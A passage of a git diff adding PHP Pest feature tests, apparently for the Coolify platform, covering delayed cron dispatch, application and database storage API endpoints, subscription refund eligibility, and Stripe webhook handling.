|
||||
$executionTime = Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC');
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-exec-time:1', $executionTime);
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
|
|
|||
88
tests/Feature/ServerManagerJobShouldRunNowTest.php
Normal file
88
tests/Feature/ServerManagerJobShouldRunNowTest.php
Normal file
|
|
@ -0,0 +1,88 @@
|
|||
<?php
|
||||
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
beforeEach(function () {
|
||||
Cache::flush();
|
||||
});
|
||||
|
||||
it('catches delayed sentinel restart when job runs past midnight', function () {
|
||||
Cache::put('sentinel-restart:1', Carbon::create(2026, 2, 27, 0, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
// Job runs 3 minutes late at 00:03
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 3, 0, 'UTC'));
|
||||
|
||||
// isDue() would return false at 00:03, but getPreviousRunDate() = 00:00 today
|
||||
// lastDispatched = yesterday 00:00 → today 00:00 > yesterday → fires
|
||||
$result = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:1');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('catches delayed weekly patch check when job runs past the cron minute', function () {
|
||||
Cache::put('server-patch-check:1', Carbon::create(2026, 2, 22, 0, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
// This Sunday at 00:02 — job was delayed 2 minutes (2026-03-01 is a Sunday)
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:1');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('catches delayed storage check when job runs past the cron minute', function () {
|
||||
Cache::put('server-storage-check:5', Carbon::create(2026, 2, 27, 23, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 23, 4, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 23 * * *', 'UTC', 'server-storage-check:5');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('seeds cache on non-due first run so weekly catch-up works', function () {
|
||||
// Wednesday at 10:00 — weekly cron (Sunday 00:00) is not due
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 25, 10, 0, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test');
|
||||
expect($result)->toBeFalse();
|
||||
|
||||
// Verify cache was seeded
|
||||
expect(Cache::get('server-patch-check:seed-test'))->not->toBeNull();
|
||||
|
||||
// Next Sunday at 00:02 — delayed 2 minutes past cron
|
||||
// Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 22 → fires
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC'));
|
||||
|
||||
$result2 = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test');
|
||||
expect($result2)->toBeTrue();
|
||||
});
|
||||
|
||||
it('daily cron fires after cache seed even when delayed past the minute', function () {
|
||||
// Step 1: 15:00 — not due for midnight cron, but seeds cache
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC'));
|
||||
|
||||
$result1 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test');
|
||||
expect($result1)->toBeFalse();
|
||||
|
||||
// Step 2: Next day at 00:05 — delayed 5 minutes past midnight
|
||||
// Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 28 00:00 → fires
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 5, 0, 'UTC'));
|
||||
|
||||
$result2 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test');
|
||||
expect($result2)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not double-dispatch within same cron window', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 0, 0, 'UTC'));
|
||||
|
||||
$first = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10');
|
||||
expect($first)->toBeTrue();
|
||||
|
||||
// Next minute — should NOT dispatch again
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 1, 0, 'UTC'));
|
||||
|
||||
$second = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10');
|
||||
expect($second)->toBeFalse();
|
||||
});
|
||||
379
tests/Feature/StorageApiTest.php
Normal file
379
tests/Feature/StorageApiTest.php
Normal file
|
|
@ -0,0 +1,379 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\LocalFileVolume;
|
||||
use App\Models\LocalPersistentVolume;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Bus;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Bus::fake();
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'test-token',
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function createTestApplication($context): Application
|
||||
{
|
||||
return Application::factory()->create([
|
||||
'environment_id' => $context->environment->id,
|
||||
]);
|
||||
}
|
||||
|
||||
function createTestDatabase($context): StandalonePostgresql
|
||||
{
|
||||
return StandalonePostgresql::create([
|
||||
'name' => 'test-postgres',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'postgres',
|
||||
'environment_id' => $context->environment->id,
|
||||
'destination_id' => $context->destination->id,
|
||||
'destination_type' => $context->destination->getMorphClass(),
|
||||
]);
|
||||
}
|
||||
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
// Application Storage Endpoints
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
|
||||
describe('GET /api/v1/applications/{uuid}/storages', function () {
|
||||
test('lists storages for an application', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
LocalPersistentVolume::create([
|
||||
'name' => $app->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => $app->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson("/api/v1/applications/{$app->uuid}/storages");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJsonCount(1, 'persistent_storages');
|
||||
$response->assertJsonCount(0, 'file_storages');
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent application', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson('/api/v1/applications/non-existent-uuid/storages');
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/applications/{uuid}/storages', function () {
|
||||
test('creates a persistent storage', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'name' => 'my-volume',
|
||||
'mount_path' => '/data',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$vol = LocalPersistentVolume::where('resource_id', $app->id)
|
||||
->where('resource_type', $app->getMorphClass())
|
||||
->first();
|
||||
|
||||
expect($vol)->not->toBeNull();
|
||||
expect($vol->name)->toBe($app->uuid.'-my-volume');
|
||||
expect($vol->mount_path)->toBe('/data');
|
||||
expect($vol->uuid)->not->toBeNull();
|
||||
});
|
||||
|
||||
test('creates a file storage', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'file',
|
||||
'mount_path' => '/app/config.json',
|
||||
'content' => '{"key": "value"}',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$vol = LocalFileVolume::where('resource_id', $app->id)
|
||||
->where('resource_type', get_class($app))
|
||||
->first();
|
||||
|
||||
expect($vol)->not->toBeNull();
|
||||
expect($vol->mount_path)->toBe('/app/config.json');
|
||||
expect($vol->is_directory)->toBeFalse();
|
||||
});
|
||||
|
||||
test('rejects persistent storage without name', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/data',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
|
||||
test('rejects invalid type-specific fields', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'name' => 'vol',
|
||||
'mount_path' => '/data',
|
||||
'content' => 'should not be here',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid}/storages', function () {
|
||||
test('updates a persistent storage by uuid', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $app->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => $app->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'uuid' => $vol->uuid,
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/new-data',
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
expect($vol->fresh()->mount_path)->toBe('/new-data');
|
||||
});
|
||||
|
||||
test('updates a persistent storage by id (backwards compat)', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $app->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => $app->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'id' => $vol->id,
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/updated',
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
expect($vol->fresh()->mount_path)->toBe('/updated');
|
||||
});
|
||||
|
||||
test('returns 422 when neither uuid nor id is provided', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/data',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
||||
describe('DELETE /api/v1/applications/{uuid}/storages/{storage_uuid}', function () {
|
||||
test('deletes a persistent storage', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $app->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => $app->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->deleteJson("/api/v1/applications/{$app->uuid}/storages/{$vol->uuid}");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJson(['message' => 'Storage deleted.']);
|
||||
expect(LocalPersistentVolume::find($vol->id))->toBeNull();
|
||||
});
|
||||
|
||||
test('finds file storage without type param and calls deleteStorageOnServer', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$vol = LocalFileVolume::create([
|
||||
'fs_path' => '/tmp/test',
|
||||
'mount_path' => '/app/config.json',
|
||||
'content' => '{}',
|
||||
'is_directory' => false,
|
||||
'resource_id' => $app->id,
|
||||
'resource_type' => get_class($app),
|
||||
]);
|
||||
|
||||
// Verify the storage is found via fileStorages (not persistentStorages)
|
||||
$freshApp = Application::find($app->id);
|
||||
expect($freshApp->persistentStorages->where('uuid', $vol->uuid)->first())->toBeNull();
|
||||
expect($freshApp->fileStorages->where('uuid', $vol->uuid)->first())->not->toBeNull();
|
||||
expect($vol)->toBeInstanceOf(LocalFileVolume::class);
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent storage', function () {
|
||||
$app = createTestApplication($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->deleteJson("/api/v1/applications/{$app->uuid}/storages/non-existent");
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
// Database Storage Endpoints
|
||||
// ──────────────────────────────────────────────────────────────
|
||||
|
||||
describe('GET /api/v1/databases/{uuid}/storages', function () {
|
||||
test('lists storages for a database', function () {
|
||||
$db = createTestDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson("/api/v1/databases/{$db->uuid}/storages");
|
||||
|
||||
$response->assertStatus(200);
|
||||
$response->assertJsonStructure(['persistent_storages', 'file_storages']);
|
||||
// Database auto-creates a default persistent volume
|
||||
$response->assertJsonCount(1, 'persistent_storages');
|
||||
});
|
||||
|
||||
test('returns 404 for non-existent database', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->getJson('/api/v1/databases/non-existent-uuid/storages');
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/databases/{uuid}/storages', function () {
|
||||
test('creates a persistent storage for a database', function () {
|
||||
$db = createTestDatabase($this);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$db->uuid}/storages", [
|
||||
'type' => 'persistent',
|
||||
'name' => 'extra-data',
|
||||
'mount_path' => '/extra',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
|
||||
$vol = LocalPersistentVolume::where('name', $db->uuid.'-extra-data')->first();
|
||||
expect($vol)->not->toBeNull();
|
||||
expect($vol->mount_path)->toBe('/extra');
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/databases/{uuid}/storages', function () {
|
||||
test('updates a persistent storage by uuid', function () {
|
||||
$db = createTestDatabase($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $db->uuid.'-test-vol',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $db->id,
|
||||
'resource_type' => $db->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$db->uuid}/storages", [
|
||||
'uuid' => $vol->uuid,
|
||||
'type' => 'persistent',
|
||||
'mount_path' => '/updated',
|
||||
]);
|
||||
|
||||
$response->assertStatus(200);
|
||||
expect($vol->fresh()->mount_path)->toBe('/updated');
|
||||
});
|
||||
});
|
||||
|
||||
describe('DELETE /api/v1/databases/{uuid}/storages/{storage_uuid}', function () {
|
||||
test('deletes a persistent storage', function () {
|
||||
$db = createTestDatabase($this);
|
||||
|
||||
$vol = LocalPersistentVolume::create([
|
||||
'name' => $db->uuid.'-test-vol',
|
||||
'mount_path' => '/extra',
|
||||
'resource_id' => $db->id,
|
||||
'resource_type' => $db->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
])->deleteJson("/api/v1/databases/{$db->uuid}/storages/{$vol->uuid}");
|
||||
|
||||
$response->assertStatus(200);
|
||||
expect(LocalPersistentVolume::find($vol->id))->toBeNull();
|
||||
});
|
||||
});
|
||||
|
|
@ -43,9 +43,11 @@
|
|||
|
||||
describe('checkEligibility', function () {
|
||||
test('returns eligible when subscription is within 30 days', function () {
|
||||
$periodEnd = now()->addDays(20)->timestamp;
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
'current_period_end' => $periodEnd,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
|
|
@ -58,12 +60,15 @@
|
|||
|
||||
expect($result['eligible'])->toBeTrue();
|
||||
expect($result['days_remaining'])->toBe(20);
|
||||
expect($result['current_period_end'])->toBe($periodEnd);
|
||||
});
|
||||
|
||||
test('returns ineligible when subscription is past 30 days', function () {
|
||||
$periodEnd = now()->addDays(25)->timestamp;
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(35)->timestamp,
|
||||
'current_period_end' => $periodEnd,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
|
|
@ -77,12 +82,15 @@
|
|||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['days_remaining'])->toBe(0);
|
||||
expect($result['reason'])->toContain('30-day refund window has expired');
|
||||
expect($result['current_period_end'])->toBe($periodEnd);
|
||||
});
|
||||
|
||||
test('returns ineligible when subscription is not active', function () {
|
||||
$periodEnd = now()->addDays(25)->timestamp;
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'canceled',
|
||||
'start_date' => now()->subDays(5)->timestamp,
|
||||
'current_period_end' => $periodEnd,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
|
|
@ -94,6 +102,7 @@
|
|||
$result = $action->checkEligibility($this->team);
|
||||
|
||||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['current_period_end'])->toBe($periodEnd);
|
||||
});
|
||||
|
||||
test('returns ineligible when no subscription exists', function () {
|
||||
|
|
@ -104,6 +113,7 @@
|
|||
|
||||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['reason'])->toContain('No active subscription');
|
||||
expect($result['current_period_end'])->toBeNull();
|
||||
});
|
||||
|
||||
test('returns ineligible when invoice is not paid', function () {
|
||||
|
|
@ -114,6 +124,7 @@
|
|||
|
||||
expect($result['eligible'])->toBeFalse();
|
||||
expect($result['reason'])->toContain('not paid');
|
||||
expect($result['current_period_end'])->toBeNull();
|
||||
});
|
||||
|
||||
test('returns ineligible when team has already been refunded', function () {
|
||||
|
|
@ -145,6 +156,7 @@
|
|||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
'current_period_end' => now()->addDays(20)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
|
|
@ -205,6 +217,7 @@
|
|||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
'current_period_end' => now()->addDays(20)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
|
|
@ -229,6 +242,7 @@
|
|||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
'current_period_end' => now()->addDays(20)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
|
|
@ -251,10 +265,61 @@
|
|||
expect($result['error'])->toContain('No payment intent');
|
||||
});
|
||||
|
||||
test('records refund and proceeds when cancel fails', function () {
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(10)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('retrieve')
|
||||
->with('sub_test_123')
|
||||
->andReturn($stripeSubscription);
|
||||
|
||||
$invoiceCollection = (object) ['data' => [
|
||||
(object) ['payment_intent' => 'pi_test_123'],
|
||||
]];
|
||||
|
||||
$this->mockInvoices
|
||||
->shouldReceive('all')
|
||||
->with([
|
||||
'subscription' => 'sub_test_123',
|
||||
'status' => 'paid',
|
||||
'limit' => 1,
|
||||
])
|
||||
->andReturn($invoiceCollection);
|
||||
|
||||
$this->mockRefunds
|
||||
->shouldReceive('create')
|
||||
->with(['payment_intent' => 'pi_test_123'])
|
||||
->andReturn((object) ['id' => 're_test_123']);
|
||||
|
||||
// Cancel throws — simulating Stripe failure after refund
|
||||
$this->mockSubscriptions
|
||||
->shouldReceive('cancel')
|
||||
->with('sub_test_123')
|
||||
->andThrow(new \Exception('Stripe cancel API error'));
|
||||
|
||||
$action = new RefundSubscription($this->mockStripe);
|
||||
$result = $action->execute($this->team);
|
||||
|
||||
// Should still succeed — refund went through
|
||||
expect($result['success'])->toBeTrue();
|
||||
expect($result['error'])->toBeNull();
|
||||
|
||||
$this->subscription->refresh();
|
||||
// Refund timestamp must be recorded
|
||||
expect($this->subscription->stripe_refunded_at)->not->toBeNull();
|
||||
// Subscription should still be marked as ended locally
|
||||
expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
|
||||
expect($this->subscription->stripe_subscription_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('fails when subscription is past refund window', function () {
|
||||
$stripeSubscription = (object) [
|
||||
'status' => 'active',
|
||||
'start_date' => now()->subDays(35)->timestamp,
|
||||
'current_period_end' => now()->addDays(25)->timestamp,
|
||||
];
|
||||
|
||||
$this->mockSubscriptions
|
||||
|
|
|
|||
230
tests/Feature/Subscription/StripeProcessJobTest.php
Normal file
230
tests/Feature/Subscription/StripeProcessJobTest.php
Normal file
|
|
@ -0,0 +1,230 @@
|
|||
<?php
|
||||
|
||||
use App\Jobs\ServerLimitCheckJob;
|
||||
use App\Jobs\StripeProcessJob;
|
||||
use App\Models\Subscription;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Queue;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
config()->set('subscription.provider', 'stripe');
|
||||
config()->set('subscription.stripe_api_key', 'sk_test_fake');
|
||||
config()->set('subscription.stripe_excluded_plans', '');
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
});
|
||||
|
||||
describe('customer.subscription.created does not fall through to updated', function () {
|
||||
test('created event creates subscription without setting stripe_invoice_paid to true', function () {
|
||||
Queue::fake();
|
||||
|
||||
$event = [
|
||||
'type' => 'customer.subscription.created',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'customer' => 'cus_new_123',
|
||||
'id' => 'sub_new_123',
|
||||
'metadata' => [
|
||||
'team_id' => $this->team->id,
|
||||
'user_id' => $this->user->id,
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
$subscription = Subscription::where('team_id', $this->team->id)->first();
|
||||
|
||||
expect($subscription)->not->toBeNull();
|
||||
expect($subscription->stripe_subscription_id)->toBe('sub_new_123');
|
||||
expect($subscription->stripe_customer_id)->toBe('cus_new_123');
|
||||
// Critical: stripe_invoice_paid must remain false — payment not yet confirmed
|
||||
expect($subscription->stripe_invoice_paid)->toBeFalsy();
|
||||
});
|
||||
|
||||
test('created event updates existing subscription instead of duplicating', function () {
|
||||
Queue::fake();
|
||||
|
||||
Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_old',
|
||||
'stripe_customer_id' => 'cus_old',
|
||||
'stripe_invoice_paid' => true,
|
||||
]);
|
||||
|
||||
$event = [
|
||||
'type' => 'customer.subscription.created',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'customer' => 'cus_new_123',
|
||||
'id' => 'sub_new_123',
|
||||
'metadata' => [
|
||||
'team_id' => $this->team->id,
|
||||
'user_id' => $this->user->id,
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1);
|
||||
$subscription = Subscription::where('team_id', $this->team->id)->first();
|
||||
expect($subscription->stripe_subscription_id)->toBe('sub_new_123');
|
||||
expect($subscription->stripe_customer_id)->toBe('cus_new_123');
|
||||
});
|
||||
});
|
||||
|
||||
describe('checkout.session.completed', function () {
|
||||
test('creates subscription for new team', function () {
|
||||
Queue::fake();
|
||||
|
||||
$event = [
|
||||
'type' => 'checkout.session.completed',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'client_reference_id' => $this->user->id.':'.$this->team->id,
|
||||
'subscription' => 'sub_checkout_123',
|
||||
'customer' => 'cus_checkout_123',
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
$subscription = Subscription::where('team_id', $this->team->id)->first();
|
||||
expect($subscription)->not->toBeNull();
|
||||
expect($subscription->stripe_invoice_paid)->toBeTruthy();
|
||||
});
|
||||
|
||||
test('updates existing subscription instead of duplicating', function () {
|
||||
Queue::fake();
|
||||
|
||||
Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_old',
|
||||
'stripe_customer_id' => 'cus_old',
|
||||
'stripe_invoice_paid' => false,
|
||||
]);
|
||||
|
||||
$event = [
|
||||
'type' => 'checkout.session.completed',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'client_reference_id' => $this->user->id.':'.$this->team->id,
|
||||
'subscription' => 'sub_checkout_new',
|
||||
'customer' => 'cus_checkout_new',
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1);
|
||||
$subscription = Subscription::where('team_id', $this->team->id)->first();
|
||||
expect($subscription->stripe_subscription_id)->toBe('sub_checkout_new');
|
||||
expect($subscription->stripe_invoice_paid)->toBeTruthy();
|
||||
});
|
||||
});
|
||||
|
||||
describe('customer.subscription.updated clamps quantity to MAX_SERVER_LIMIT', function () {
|
||||
test('quantity exceeding MAX is clamped to 100', function () {
|
||||
Queue::fake();
|
||||
|
||||
Subscription::create([
|
||||
'team_id' => $this->team->id,
|
||||
'stripe_subscription_id' => 'sub_existing',
|
||||
'stripe_customer_id' => 'cus_clamp_test',
|
||||
'stripe_invoice_paid' => true,
|
||||
]);
|
||||
|
||||
$event = [
|
||||
'type' => 'customer.subscription.updated',
|
||||
'data' => [
|
||||
'object' => [
|
||||
'customer' => 'cus_clamp_test',
|
||||
'id' => 'sub_existing',
|
||||
'status' => 'active',
|
||||
'metadata' => [
|
||||
'team_id' => $this->team->id,
|
||||
'user_id' => $this->user->id,
|
||||
],
|
||||
'items' => [
|
||||
'data' => [[
|
||||
'subscription' => 'sub_existing',
|
||||
'plan' => ['id' => 'price_dynamic_monthly'],
|
||||
'price' => ['lookup_key' => 'dynamic_monthly'],
|
||||
'quantity' => 999,
|
||||
]],
|
||||
],
|
||||
'cancel_at_period_end' => false,
|
||||
'cancellation_details' => ['feedback' => null, 'comment' => null],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new StripeProcessJob($event);
|
||||
$job->handle();
|
||||
|
||||
$this->team->refresh();
|
||||
expect($this->team->custom_server_limit)->toBe(100);
|
||||
|
||||
Queue::assertPushed(ServerLimitCheckJob::class);
|
||||
});
|
||||
});
|
||||
|
||||
describe('ServerLimitCheckJob dispatch is guarded by team check', function () {
|
||||
